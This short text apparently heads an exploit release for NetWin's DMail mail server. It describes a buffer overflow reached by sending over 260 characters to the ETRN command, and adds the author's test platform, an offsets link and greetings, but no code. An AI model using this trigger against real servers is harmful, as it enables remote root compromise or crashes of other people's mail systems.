NetWin's DMail is an alternative mail-server solution for unix and NT servers. There is a buffer overflow vulnerability in the server daemon that could allow remote attackers to execute arbitrary commands as root or cause a denial of service. The overflow occurs when a large buffer is sent to argument the ETRN command: If over 260 characters are sent, the stack is corrupted and the mailserver will crash.

writen just for fun : ) heh, 
tested arch = x86/Linux mdk7.0
I will port this to Solaris & FreeBSD when I have time...
check http://gsu.linux.org.tr/~noir/ offsets for other Linux distros.

greetz: moog, si_ (happy birthday!), CronoS, still, teso crew,
